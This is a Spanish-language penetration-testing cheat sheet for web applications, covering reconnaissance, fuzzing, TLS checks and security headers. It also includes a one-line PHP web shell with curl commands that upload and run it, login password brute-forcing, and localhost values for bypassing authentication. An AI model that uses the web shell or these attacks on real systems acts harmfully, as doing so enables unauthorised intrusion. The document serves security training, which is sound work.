# Inicio

Apuntes sobre pentesting de aplicaciones web.


# Metodologías y estándares

## Open Web Application Security Project (OWASP)

### Web Security Testing Guide (WSTG)

* <https://owasp.org/www-project-web-security-testing-guide/>

### OWASP Web Top 10

* <https://owasp.org/www-project-top-ten/>

### OWASP API Security Top 10

* <https://owasp.org/www-project-api-security/>


# Aplicaciones vulnerables

## Web

* [Damn Vulnerable Web App (DVWA)](https://github.com/digininja/DVWA)
* [Damn Vulnerable GraphQL Application (DVGA)](https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application)
* [buggy Web APPplication (bWAPP)](https://sourceforge.net/projects/bwapp/)
* <http://www.vulnweb.com/>
* <https://www.megacorpone.com/>

## API

* [Completely Ridiculous API (crAPI)](https://github.com/OWASP/crAPI)
* [Vulnerable Adversely Programmed Interface (vAPI)](https://github.com/roottusk/vapi)


# Web Application Firewall (WAF)

### identYwaf

* <https://github.com/stamparm/identYwaf>

```shell
identYwaf.py --random-agent <target>
```

### Nuclei

```sh
nuclei -u <target> -t dns/dns-waf-detect.yaml,http/technologies/secui-waf-detect.yaml,http/technologies/waf-detect.yaml -ts -silent
```

### WAFW00F

* <https://github.com/EnableSecurity/wafw00f>

```shell
wafw00f <target>
```


# Subdominios y Virtual Host (VHost)

## Subdominios

### DNSRecon <a href="#subdominios-dnsrecon" id="subdominios-dnsrecon"></a>

* <https://github.com/darkoperator/dnsrecon>

```shell
./dnsrecon.py -d <target> -D <path-wordlist> -t brt
```

* -d = nombre de dominio.
  * \<target> = objetivo.
* -D = lectura de subdominios a realizar fuerza bruta.
  * \<path-wordlist> = ruta de wordlist de subdominios ([SecList](https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/subdomains-top1million-110000.txt)).
* -t = tipo de enumeración (brt = brute force).

```shell
./dnsrecon.py -d <target> -D <path-wordlist> -c CVS -t brt
./dnsrecon.py -d <target> -D <path-wordlist> -x XML -t brt 
./dnsrecon.py -d <target> -D <path-wordlist> -j JSON -t brt
```

* -d = nombre de dominio.
  * \<target> = objetivo.
* -D = lectura de subdominios a realizar fuerza bruta.
  * \<path-wordlist> = ruta de wordlist de subdominios ([SecList](https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/subdomains-top1million-110000.txt)).
* -c = guarda resultado en CVS.
* -x = guarda resultado en XML.
* -j = guarda resultado en JSON.
* -t = tipo de enumeración (brt = brute force).

### dnsx <a href="#subdominios-dnsx" id="subdominios-dnsx"></a>

```sh
dnsx -d <target> -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -silent -o dnsx-subdomains.txt
```

### Gobuster <a href="#subdominios-gobuster" id="subdominios-gobuster"></a>

```sh
gobuster dns -d <domain-name> -w <subdomains-list.txt> -i -o gobuster-dns-subdomains.txt
```

* -d = nombre de dominio.
  * \<domain-name> = nombre de dominio.
* -w = lectura de subdominios a descubrir desde archivo.
  * \<subdomains-list.txt> = archivo con listado de subdominios ([SecList](https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/subdomains-top1million-110000.txt)).
* -i = muestra direcciones IP.
* -o = guarda resultado en archivo `gobuster-dns-subdomains.txt`.

### FFuF <a href="#subdominios-ffuf" id="subdominios-ffuf"></a>

```shell
ffuf -u http://FUZZ.<target>/ -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt:FUZZ -c -o ffuf-subdomains.html -of html
```

* -u = URL.
  * \<target> = objetivo.
  * FUZZ = la palabra `FUZZ` será reemplazada con los valores de la wordlist.
* -w = wordlist.
  * \<path-wordlist> = ruta de wordlist de subdominios ([SecList](https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/subdomains-top1million-110000.txt)).

### subfinder <a href="#subdominios-subfinder" id="subdominios-subfinder"></a>

```sh
subfinder -d <target> -recursive -all -silent -o subfinder-subdomains.txt
```

### Wfuzz <a href="#subdominios-wfuzz" id="subdominios-wfuzz"></a>

```sh
wfuzz -c -Z -z file,<path-wordlist> --hh <chars> http://FUZZ.<target.tld>
```

## Virtual Host (VHost)

### cURL <a href="#virtual-host-vhost-curl" id="virtual-host-vhost-curl"></a>

```bash
cat <path-wordlist> | while read vhost;do echo "\n********\nFUZZING: ${vhost}\n********";curl http://<target> -H "HOST: ${vhost}.{target}" ;done
```

* \<path-wordlist> = ruta de wordlist de subdominios y virtual host ([SecList](https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/subdomains-top1million-110000.txt)).
* \<target> = objetivo.

### Gobuster

```sh
gobuster vhost -u http://<target>/ -w <path-wordlist> --append-domain --exclude-length <size>
```

### FFuF <a href="#virtual-host-vhost-ffuf" id="virtual-host-vhost-ffuf"></a>

```shell
ffuf -u http://<target>/ -w <path-wordlist>:FUZZ -H 'Host: FUZZ.<target>' -fs <size>
```

* -u = URL.
  * \<target> = objetivo.
* -w = wordlist.
  * \<path-wordlist> = ruta de wordlist de subdominios y virtual host ([SecList](https://github.com/danielmiessler/SecLists/blob/master/Discovery/DNS/subdomains-top1million-110000.txt)).
* -H = HTTP headers.
  * FUZZ = la palabra `FUZZ` será reemplazada con los valores de la wordlist.
* -fs = filtra el tamaño de la respuesta HTTP.
  * \<size> = tamaño de respuesta HTTP.

### Wfuzz <a href="#virtual-host-vhost-wfuzz" id="virtual-host-vhost-wfuzz"></a>

```sh
wfuzz -c -z file,<path-wordlist> -H "Host: FUZZ.<target>" --hh <chars> http://<target>/
```


# SSL/TLS y algoritmos de cifrados

## Cipherscan

* <https://github.com/mozilla/cipherscan>

```shell
./cipherscan <target>
./analyze.py <target>
```

## Nmap

```shell
nmap --script ssl-cert,ssl-enum-ciphers -p 443 <target> -oN nmap-cert-ciphers.txt
```

* \--script ssl-cert, ssl-enum-ciphers = identificación de certificado y enumeración de algoritmos de cifrados.
* -p = puertos.
* \<target> = objetivo.
* -oN = guarda resultado en archivo `nmap-cert-ciphers.txt`.

## Nuclei

```sh
nuclei -u <target> -t ssl -ts -silent
```

## Qualys

* <https://www.ssllabs.com/>

## sslscan

* <https://github.com/rbsec/sslscan>

```shell
sslscan <target>
```

## testssl

* <https://github.com/drwetter/testssl.sh>

```shell
testssl <target>
```

## TLS-Attacker

* <https://github.com/tls-attacker/TLS-Attacker>


# Certificados

## Obtener certificado

```sh
# Descargar certificado
openssl s_client -connect example.com:443 | openssl x509 > example.pem
## Convertir de PEM a DER
openssl x509 -outform der -in example.pem -out example.der
## Convertir de PEM a PKCS#7
openssl crl2pkcs7 -nocrl -certfile example.pem -out example.p7
```

## Generar certificado autofirmado <a href="#crt.sh" id="crt.sh"></a>

```sh
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out example.pem -sha256 -days 365
```

## crt.sh <a href="#crt.sh" id="crt.sh"></a>

* <https://crt.sh/>

```sh
curl -s "https://crt.sh/?q=<domain-name>&output=json" | jq -r '.[] | "\(.name_value)\n\(.common_name)"' | sort -u
```

* \<domain-name> = nombre de dominio.

## Censys <a href="#censys" id="censys"></a>

* <https://search.censys.io/>


# Tecnologías web

## Banner grabbing

### HTTP

```sh
curl -v -s http://<target> 1>/dev/null
```

```shell
nc -v <target> <port>
HEAD / HTTP/1.0
```

```shell
nc -v <target> <port>
HEAD / HTTP/1.1
Host: <target>
```

{% hint style="info" %}
Utilizar **`HTTP 1.1`** implica enviar un **`Host:`** en la solicitud. Si  utiliza **`HTTP 1.0`** se puede omitir.
{% endhint %}

### HTTPS

```shell
openssl s_client -connect <target>:<port>
HEAD / HTTP/1.0
```

{% hint style="info" %}
Utilizar **`HTTP 1.1`** implica enviar un **`Host:`** en la solicitud. Si  utiliza **`HTTP 1.0`** se puede omitir.
{% endhint %}

## WhatWeb

```shell
whatweb -v -a 1 <target> > whapweb.txt
```

* -v = modo verboso.&#x20;
* -a = establece el nivel de agresión. (1 = stealthy, 3 = aggressive y 4 = heavy).
* \<target> = objetivo.

## Wappalyzer

* <https://www.wappalyzer.com/>

## Favicon

```shell
curl http://<target>/favicon.ico | md5sum
```

* <https://wiki.owasp.org/index.php/OWASP_favicon_database>


# HTTP security headers

## General <a href="#http-security-headers-curl" id="http-security-headers-curl"></a>

<table><thead><tr><th width="269">HTTP header</th><th>Estado</th></tr></thead><tbody><tr><td>Strict-Transport-Security</td><td>Recomendado</td></tr><tr><td>Content-Security-Policy</td><td>Recomendado</td></tr><tr><td>X-Content-Type-Options</td><td>Recomendado</td></tr><tr><td>Content-Type</td><td>Recomendado</td></tr><tr><td>X-Frame-Options</td><td>Opcional según contexto</td></tr><tr><td>Referrer-Policy</td><td>Opcional según contexto</td></tr><tr><td>Cache-Control</td><td>Opcional según contexto</td></tr></tbody></table>

<details>

<summary>Strict-Transport-Security</summary>

{% code fullWidth="false" %}

```http
Strict-Transport-Security: max-age=31536000; includeSubDomains
```

{% endcode %}

</details>

<details>

<summary>Content-Security-Policy</summary>

```http
Content-Security-Policy: default-src 'self'; form-action 'self'; object-src 'none'; frame-ancestors 'none'; upgrade-insecure-requests; block-all-mixed-content
```

</details>

<details>

<summary>X-Content-Type-Options</summary>

```http
X-Content-Type-Options: nosniff
```

</details>

<details>

<summary>Content-Type</summary>

```http
Content-Type: application/json
Content-Type: application/xml
```

</details>

<details>

<summary><a href="/explotacion/clickjacking#x-frame-options">X-Frame-Options</a></summary>

```http
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
X-Frame-Options: ALLOW-FROM <URI>
```

</details>

<details>

<summary>Referrer-Policy</summary>

```http
Referrer-Policy: no-referrer
```

</details>

<details>

<summary>Cache-Control</summary>

```http
Cache-Control: no-store
```

</details>

## cURL <a href="#http-security-headers-curl" id="http-security-headers-curl"></a>

```shell
curl -I -L --url <target>
```

* -I = headers.
* -L = seguir redireccionamientos.
* \--url = URL (Uniform Resource Locator).
  * \<target> = objetivo.

## Nmap <a href="#http-security-headers-nmap" id="http-security-headers-nmap"></a>

```shell
nmap -p 80,443 --script http-security-headers <target> -oN nmap-http-security-headers.txt
```

* -p = puertos.
* \--script http-security-headers = HTTP security headers.&#x20;
* \<target> = objetivo.

## Nuclei

```sh
nuclei -u <target> -t http/misconfiguration/http-missing-security-headers.yaml -ts -silent
```

## securityheaders

* <https://github.com/juerkkil/securityheaders>

```shell
securityheaders.py <target>
```

## shcheck

* <https://github.com/santoru/shcheck>

```shell
shcheck.py -i -k <target>
```

## Mozilla Observatory

* <https://observatory.mozilla.org/>

## OWASP Secure Headers Project

* <https://owasp.org/www-project-secure-headers/>

## Security Headers <a href="#security-headers" id="security-headers"></a>

* <https://securityheaders.com/>


# HTTP methods (verbs)

## cURL <a href="#http-methods-verbs-curl" id="http-methods-verbs-curl"></a>

```shell
curl -X OPTIONS http://<target>/ -v
```

## Netcat

```shell
nc <target> <port>
OPTIONS / HTTP/1.0
```

```shell
nc <target> <port>
OPTIONS / HTTP/1.1
Host: <target>
```

{% hint style="info" %}
Utilizar **`HTTP 1.1`** implica enviar un **`Host:`** en la solicitud. Si  utiliza **`HTTP 1.0`** se puede omitir.
{% endhint %}

## Nmap <a href="#http-methods-verbs-nmap" id="http-methods-verbs-nmap"></a>

```shell
nmap -p 80,443 --script http-methods <target> -oN nmap-http-methods.txt
```

* -p = puertos.
* \--script http-methods = HTTP verbs.
* \<target> = objetivo.
* -oN = guarda resultado en archivo `nmap-http-methods.txt`.


# Crawling y spidering

## CeWL

```sh
cewl http://<target> -d <depth> -m <min-word-length> -w wordlist-crawling.txt
```

* \<target> = objetivo.
* -d = depth to spider.
  * \<depth> = profundidad, por ejemplo: `3`.
* -m = longitud mínima de palabra.
  * \<min-word-length> = longitud mínima de palabra, por ejemplo: `3`.
* -w = guarda resultado en archivo `wordlist-crawling.txt`.

## Hakrawler

```sh
echo 'http://<target>' | hakrawler | sort -u
```

## OWASP Zed Attack Proxy (ZAP)

```
OWASP Zed Attack Proxy (ZAP) -> Tools -> Spider
```


# Fuzzing

## DIRB

```sh
# General
dirb http://<target> -o dirb-fuzzing-recursive.txt
# Sin búsqueda recursiva
dirb http://<target> -r -o dirb-fuzzing.txt
# Autenticación HTTP
dirb http://<target> -u <user>:<password>
```

* \<target> = objetivo.
* -r = sin búsqueda recursiva.
* -o = guarda resultado en archivo.
* -u = autenticación HTTP.
  * \<user> = usuario.
  * \<password> = contraseña.

## dirsearch

```shell
# General
dirsearch -u http://<target>/ -o $(pwd)/dirsearch-fuzzing.txt
# Búsqueda recursiva
dirsearch -u http://<target>/ -o $(pwd)/dirsearch-fuzzing-recursive.txt -r
```


# Directorios

## FFuF

```shell
ffuf -u http://<target>/FUZZ -w <path-wordlist>:FUZZ -c -fc <code> -o ffuf-fuzzing-directories.html -of html
```

* -u = URL.
  * \<target> = objetivo.
  * FUZZ = la palabra `FUZZ` será reemplazada con los valores de la wordlist.
* -w = wordlist.
  * \<path-wordlist> = ruta de wordlist de directorios ([SecList](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/raft-large-directories.txt)).
* -c = output con colores.
* -fc \<code> = filtra respuestas por el código especificado, por ejemplo: `404`.
* -o = guarda resultado en archivo `ffuf-fuzzing-directories.html`.

## Gobuster

```sh
# General
gobuster dir -e -u http://<target>/ -w <path-wordlist> -o gobuster-fuzzing-directories.txt
# Omitir verificación de certificado SSL
gobuster dir -e -k -u https://<target>/ -w <path-wordlist> -o gobuster-fuzzing-directories.txt
```

* -e = modo expandido, imprimir URL "completas".
* -k = omitir verificación de certificado SSL.
* -u = URL.
  * \<target> = objetivo.
* -w = wordlist.
  * \<path-wordlist> = ruta de wordlist de directorios ([SecList](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/raft-large-directories.txt)).
* -o = guarda resultado en archivo `gobuster-fuzzing-directories.txt`.

## Wfuzz

```shell
wfuzz -c -z file,<path-wordlist> --hc <code> http://<target>/FUZZ/
```

{% hint style="info" %}
Incluir barra diagional "`/`" (slash) al final de la palabra `FUZZ`.
{% endhint %}

* -c = output con colores.
* -z = especifica el payload para cada palabra clave FUZZ utilizada.
  * \<path-wordlist> = ruta de wordlist de directorios ([SecList](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/raft-large-directories.txt)).
* \--hc \<code> = oculta respuestas por el código especificado, por ejemplo: `404`.
* \<target> = objetivo.
  * FUZZ = la palabra `FUZZ` será reemplazada con los valores de la wordlist.


# Archivos

## FFuF

```shell
ffuf -u http://<target>/FUZZ -w <path-wordlist>:FUZZ -c -fc <code> -o ffuf-fuzzing-files.html -of html
```

* -u = URL.
  * \<target> = objetivo.
  * FUZZ = la palabra `FUZZ` será reemplazada con los valores de la wordlist.
* -w = wordlist.
  * \<path-wordlist> = ruta de wordlist de archivos ([SecList](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/raft-large-files.txt)).
* -c = output con colores.
* -fc \<code> = filtra respuestas por el código especificado, por ejemplo: `404`.
* -o = guarda resultado en archivo `ffuf-fuzzing-files.html`.

## Wfuzz

```shell
wfuzz -c -z file,<path-wordlist> --hc <code> http://<target>/FUZZ
```

* -c = output con colores.
* -z = especifica el payload para cada palabra clave FUZZ utilizada.
  * \<path-wordlist> = ruta de wordlist de archivos ([SecList](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/raft-large-files.txt)).
* \--hc \<code> = oculta respuestas por el código especificado, por ejemplo: `404`.
* \<target> = objetivo.
  * FUZZ = la palabra `FUZZ` será reemplazada con los valores de la wordlist.


# Extensiones

## DIRB

```shell
dirb http://<target> -X <extension> -o dirb-fuzzing-extensions.txt
```

* \<target> = objetivo.
* -X = extensión de archivo.
  * \<extension> = extensión(es), por ejemplo: `.php, .txt, .old, .bak`.&#x20;
* -o = guarda resultado en archivo `dirb-fuzzing-extensions.txt`.

## dirsearch

```shell
dirsearch -u http://<target>/ -o $(pwd)/dirsearch-fuzzing-extensions.txt -e <extension> -f -r
```

* -u = URL.
  * \<target> = objetivo.
* -e = extensión(es), por ejemplo: `txt,html,php,jsp,aspx,bak`.
* -f = fuerza extensiones.
* -r = búsqueda recursiva.

## Gobuster

```shell
gobuster dir -e -u https://<target>/ -w <path-wordlist> -x <extension> -o gobuster-fuzzing-extensions.txt
```

* -e = modo expandido, imprimir URL “completas”.
* -u = URL.
  * \<target> = objetivo.
* -w = wordlist.
  * \<path-wordlist> = ruta de wordlist.
* -x = extensión de archivo.
  * \<extension> = extensión(es), por ejemplo: `.php, .txt, .old, .bak`.
* -o = guarda resultado en archivo `gobuster-fuzzing-extensions.txt`.

## FFuF

```shell
# Identificación de extensiones
ffuf -u http://<target>/indexFUZZ -w <path-wordlist-extensions>:FUZZ -c -fc <code>
# Wordlist + extensiones (.html, .js, .php, .jsp, .aspx)
ffuf -u http://<target>/FUZZ -w <path-wordlist>:FUZZ -e .html,.js,.php,.jsp,.aspx -c -fc <code> -o ffuf-fuzzing-extensions.html -of html
# Wordlist + extensiones (ocultos / .txt, .config, .old, .bak, .inc)
ffuf -u http://<target>/FUZZ -w <path-wordlist>:FUZZ -e .txt,.config,.old,.bak,.inc -c -fc <code> -o ffuf-fuzzing-extensions-hidden.html -of html
```

* -u = URL.
  * \<target> = objetivo.
  * FUZZ = la palabra `FUZZ` será reemplazada con los valores de la wordlist.
* -w = wordlist.
  * \<path-wordlist-extensions> = ruta de wordlist de extensiones ([SecList](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/web-extensions.txt)).
  * \<path-wordlist> = ruta de wordlist de palabras ([SecList](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/raft-large-words.txt)).
* -e = extensión(es), por ejemplo: `.txt,.html,.php,.jsp,.aspx,.bak`.
* -c = output con colores.
* -fc \<code> = filtra respuestas por el código especificado, por ejemplo: `404`.
* -o = guarda resultado en archivo.

### Basado en recopilación de información

```shell
ffuf -w ./folders.txt:FOLDERS,./wordlist.txt:WORDLIST,./extensions.txt:EXTENSIONS -u http://<target>/FOLDERS/WORDLISTEXTENSIONS
```

## Wfuzz

```shell
wfuzz -c -z file,<path-wordlist> -z list,<extension> --hc <code> http://<target>/FUZZ.FUZ2Z
```

* -c = output con colores.
* -z = especifica el payload para cada palabra clave FUZZ utilizada.
  * \<path-wordlist> = ruta de wordlist de palabras ([SecList](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/raft-large-words.txt)).
  * \<extension> = extensión(es), por ejemplo: `php-txt-old-bak`.
* \--hc \<code> = oculta respuestas por el código especificado, por ejemplo: `404`.
* \<target> = objetivo.
  * FUZZ = la palabra `FUZZ` será reemplazada con los valores de la wordlist.
  * FUZ2Z = la palabra `FUZ2Z` será reemplazada con los valores de extensión(es).


# Parámetros


# GET

## Parámetros

## Arjun <a href="#parametros-arjun" id="parametros-arjun"></a>

```bash
arjun -u http://<target>/index.php
```

### FFuF <a href="#parametros-ffuf" id="parametros-ffuf"></a>

```shell
ffuf -u http://<target>/index.php?FUZZ=test -w <path-wordlist>:FUZZ -c -fc <code> -fs <size> -o ffuf-fuzzing-get-parameters.html -of html
```

* -u = URL.
  * \<target> = objetivo.
  * FUZZ = la palabra `FUZZ` será reemplazada con los valores de la wordlist.
* -w = wordlist.
  * \<path-wordlist> = ruta de wordlist de parámetros ([SecList](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/burp-parameter-names.txt)).
* -c = output con colores.
* -fc \<code> = filtra respuestas por el código especificado, por ejemplo: `301,404`.
* -fs \<size> = filtra respuestas por el tamaño especificado.
* -o = guarda resultado en archivo `ffuf-fuzzing-get-parameters.html`.

### Wfuzz <a href="#parametros-wfuzz" id="parametros-wfuzz"></a>

```sh
wfuzz -c -z file,<path-wordlist> --hc <code> http://<target>/index.php?FUZZ=test
```

* -c = output con colores.
* -z = especifica el payload para cada palabra clave FUZZ utilizada.
  * \<path-wordlist> = ruta de wordlist de parámetros ([SecList](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/burp-parameter-names.txt)).
* \--hc \<code> = oculta respuestas por el código especificado, por ejemplo: `404`.
* \<target> = objetivo.
  * FUZZ = la palabra `FUZZ` será reemplazada con los valores de la wordlist.

## Valores

### FFuF <a href="#valores-ffuf" id="valores-ffuf"></a>

```shell
ffuf -u http://<target>/index.php?<parameter>=FUZZ -w <path-wordlist>:FUZZ -c -fc <code> -fs <size> -o ffuf-fuzzing-get-parameters-values.html -of html
```

* -u = URL.
  * \<target> = objetivo.
  * \<parameter> = nombre del parámetro.
  * FUZZ = la palabra `FUZZ` será reemplazada con los valores de la wordlist.
* -w = wordlist.
  * \<path-wordlist> = ruta de wordlist de valores ([SecList](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/raft-large-words.txt)).
* -c = output con colores.
* -fc \<code> = filtra respuestas por el código especificado, por ejemplo: `301,404`.
* -fs \<size> = filtra respuestas por el tamaño especificado.
* -o = guarda resultado en archivo `ffuf-fuzzing-get-parameters-values.html`.

### Wfuzz <a href="#valores-wfuzz" id="valores-wfuzz"></a>

```sh
wfuzz -c -z file,<path-wordlist> --hc <code> http://<target>/index.php?<parameter>=FUZZ
```

* -c = output con colores.
* -z = especifica el payload para cada palabra clave FUZZ utilizada.
  * \<path-wordlist> = ruta de wordlist de valores ([SecList](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/raft-large-words.txt)).
* \--hc \<code> = oculta respuestas por el código especificado, por ejemplo: `301,404`.
* \<target> = objetivo.
  * \<parameter> = nombre del parámetro.
  * FUZZ = la palabra `FUZZ` será reemplazada con los valores de la wordlist.


# POST

## Parámetros

### Arjun <a href="#parametros-arjun" id="parametros-arjun"></a>

```sh
arjun -u http://<target>/index.php -m <method>
```

* -u = URL.
  * \<target> = objetivo.
* -m = método.
  * \<method> = `POST, JSON o XML`.

### FFuF <a href="#parametros-ffuf" id="parametros-ffuf"></a>

```shell
ffuf -u http://<target>/index.php -w <path-wordlist>:FUZZ -X POST -d "FUZZ=test" -H "Content-Type: application/x-www-form-urlencoded" -c -fc <code> -fs <size> -o ffuf-fuzzing-post-parameters.html -of html
```

* -u = URL.
  * \<target> = objetivo.
* -w = wordlist.
  * \<path-wordlist> = ruta de wordlist de parámetros ([SecList](https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/burp-parameter-names.txt)).
* -X = método HTTP a utilizar.
* -d = datos método POST.
* -H = HTTP headers.
* -c = output con colores.
* -fc \<code> = filtra respuestas por el código especificado, por ejemplo: `301,404`.
* -fs \<size> = filtra respuestas por el tamaño especificado.
* -o = guarda resultado en archivo `ffuf-fuzzing-post-parameters.html`.

## Valores

### FFuF <a href="#valores-ffuf" id="valores-ffuf"></a>

```shell
ffuf -u http://<target>/index.php -w <path-wordlist>:FUZZ -X POST -d "user=admin\&password=FUZZ" -H "Content-Type: application/x-www-form-urlencoded" -c -fc <code> -fs <size> -o ffuf-fuzzing-post-parameters-values.html -of html
```

* -u = URL.
  * \<target> = objetivo.
* -w = wordlist.
  * \<path-wordlist> = ruta de wordlist ([SecList](https://github.com/danielmiessler/SecLists/blob/master/Passwords/xato-net-10-million-passwords-1000000.txt)).
* -X = método HTTP a utilizar.
* -d = datos método POST.
* -H = HTTP headers.
* -c = output con colores.
* -fc \<code> = filtra respuestas por el código especificado, por ejemplo: `301,404`.
* -fs \<size> = filtra respuestas por el tamaño especificado.
* -o = guarda resultado en archivo `ffuf-fuzzing-post-parameters-values.html`.

### Wfuzz <a href="#valores-wfuzz" id="valores-wfuzz"></a>

```sh
wfuzz -c -z file,<path-wordlist> --hc <code> -d "user=admin&password=FUZZ" http://<target>/login.php
```

* -c = output con colores.
* -z = especifica el payload para cada palabra clave FUZZ utilizada.
  * \<path-wordlist> = ruta de wordlist ([SecList](https://github.com/danielmiessler/SecLists/blob/master/Passwords/xato-net-10-million-passwords-1000000.txt)).
* \--hc \<code> = oculta respuestas por el código especificado, por ejemplo: `301,404`.
* -d = datos método POST.
  * FUZZ = la palabra `FUZZ` será reemplazada con los valores de la wordlist.
* \<target> = objetivo.


# Wordlists

## Directorios

```
/usr/share/seclists/Discovery/Web-Content/raft-small-directories.txt
/usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
/usr/share/seclists/Discovery/Web-Content/raft-large-directories.txt

/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
/usr/share/seclists/Discovery/Web-Content/directory-list-2.3-big.txt
```

## Archivos <a href="#archivos" id="archivos"></a>

```
/usr/share/seclists/Discovery/Web-Content/raft-small-files.txt
/usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt
/usr/share/seclists/Discovery/Web-Content/raft-large-files.txt
```

## Palabras

```
/usr/share/seclists/Discovery/Web-Content/raft-small-words.txt
/usr/share/seclists/Discovery/Web-Content/raft-medium-words.txt
/usr/share/seclists/Discovery/Web-Content/raft-large-words.txt
```

## Extensiones

```
/usr/share/seclists/Discovery/Web-Content/web-extensions.txt
```

## Parámetros

```
/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
/usr/share/seclists/Discovery/Web-Content/common.txt
```


# Compresión y ofuscación

## Compresión / Minificación <a href="#compresion-minificacion" id="compresion-minificacion"></a>

### JavaScript <a href="#compresion-minificacion-javascript" id="compresion-minificacion-javascript"></a>

* <https://javascript-minifier.com/>

## Embellecer

### JavaScript <a href="#embellecer-javascript" id="embellecer-javascript"></a>

* Herramientas para desarrollo (navegador)
* [Prettier](https://prettier.io/playground/)
* <https://beautifier.io/>

## Ofuscación

### JavaScript <a href="#ofuscacion-javascript" id="ofuscacion-javascript"></a>

* <https://obfuscator.io/>
* [BeautifyTools](https://beautifytools.com/javascript-obfuscator.php)
* [JSFuck](http://www.jsfuck.com/)
* [JJ Encode](https://utf-8.jp/public/jjencode.html)
* [AA Encode](https://utf-8.jp/public/aaencode.html)

### PHP <a href="#ofuscacion-php" id="ofuscacion-php"></a>

* <https://www.gaijin.at/en/tools/php-obfuscator>

## Desofuscación

### JavaScript <a href="#desofuscacion-javascript" id="desofuscacion-javascript"></a>

* <https://deobfuscate.relative.im/>
* [JS Nice](http://jsnice.org/)


# Herramientas automatizadas

## Nikto

```shell
nikto -h <target> -p 80 -o nikto.txt -Format txt
```

## Nmap

```sh
# Vulnerabilidades
nmap -p 80,443 --script=vuln <target>
# Heartbleed (CVE-2014-0160)
nmap -p 443 --script=ssl-heartbleed <target>
```

## Nuclei

```sh
nuclei -u <target> -ts -silent
```


# API keys

## Google reCAPTCHA

* <https://developers.google.com/recaptcha/docs/verify>

Verificación de secret key.

```sh
curl -X POST https://www.google.com/recaptcha/api/siteverify -H '"Content-Type", "application/x-www-form-urlencoded; charset=utf-8"' -d "secret=<secret-key>&response=test"
```

* \<secret-key> = secret key de Google reCAPTCHA.

Secret key no válida.

```json
{
  "success": false,
  "error-codes": [
    "invalid-input-secret"
  ]
}
```

Secret key válida.

```json
{
  "success": false,
  "error-codes": [
    "invalid-input-response"
  ]
}
```

Expresión regular.

```regex
6[0-9a-zA-Z_-]{39}
```


# Clickjacking

## Burp Clickbandit

* <https://portswigger.net/burp/documentation/desktop/tools/clickbandit>

## X-Frame-Options

El encabezado HTTP **X-Frame-Options** puede ser usado para indicar si debería permitir al navegador renderizar una página en un `<frame>`, `<iframe>` o `<object>`. Las páginas webs pueden usar este encabezado para evitar ataques de clickjacking, asegurándose que su contenido no es embebido en otros sitios.

```http
X-Frame-Options: DENY
X-Frame-Options: SAMEORIGIN
X-Frame-Options: ALLOW-FROM <URI>
```

* `DENY`: la página web no puede ser mostrada en un marco, independiente del sitio que esté intentándolo.
* `SAMEORIGIN`: la página sólo puede ser mostrada en un marco del mismo origen que dicha página.&#x20;
* `ALLOW-FROM <URI>`: la página sólo puede ser mostrada en un marco del origen especificado.


# HTTP methods (verbs)

## PUT

### Archivo de texto

{% code title="test.txt" %}

```
Contenido de archivo text.txt 
```

{% endcode %}

```shell
# Subida de archivo
curl -X PUT -d @test.txt http://<target>/test.txt -v
# Lectura de archivo
curl http://<target>/test.txt
```

### Web shell (PHP)

{% code title="webshell.php" %}

```php
<?php echo system($_GET["cmd"]); ?>
```

{% endcode %}

```shell
# Subida de archivo
curl -X PUT -d @webshell.php http://<target>/webshell.php -v
# Ejecutar webshell
curl http://<target>/webshell.php?cmd=whoami
```

## DELETE

```shell
curl -X DELETE http://<target>/test.txt -v
```


# Input data validation

## Fuzzing

Fuzzing y consumo de endpoints/APIs con parámetros de entrada inválidos.

* [Wordlist caracteres especiales](https://raw.githubusercontent.com/MrW0l05zyn/pentesting/master/wordlists/api/special-characters.txt).

```
!@#$%^&~_-+=*.,:;'"\|/?<XSS>[{()}]
!@#$%^&~_-+=*.,:;'\|/?<XSS>[{()}]
!@#$%^&~_-+=*.,:;'|/?<XSS>[{()}]
```

* Longitud, rango, formato y tipo.
  * [Wordlist valores numéricos](https://raw.githubusercontent.com/MrW0l05zyn/pentesting/master/wordlists/api/number-input-data-validation.txt).
* Sin valor en parámetros.
* Sin parámetros.

## Manejo de errores

* Mensajes de errores genéricos.
* No revelar detalles del error innecesariamente.
* No entregar detalles técnicos referente al error.


# HTTP Host header

## Anulación de encabezado Host (override header)

```
X-Forwarded-Host
X-HTTP-Host-Override
Forwarded
X-Host
X-Forwarded-Server
```

## Authentication bypass

Valores de localhost.

```
localhost
127.0.0.1
2130706433
0x7f000001
0177.0000.0000.0001
127.1
127.000000000000000.1
::1
0:0:0:0:0:0:0:1
[0:0:0:0:0:ffff:127.0.0.1]
0:0:0:0:0:ffff:127.0.0.1
[::ffff:127.0.0.1]
::ffff:127.0.0.1
localtest.me
0.0.0.0
0
```

Direcciones IP internas.

```bash
# 192.168.0.0 - 192.168.255.255
for a in {1..255}; do for b in {1..255}; do echo "192.168.$a.$b" >> ips.txt; done done
```

## Proceso de restablecimiento de contraseña

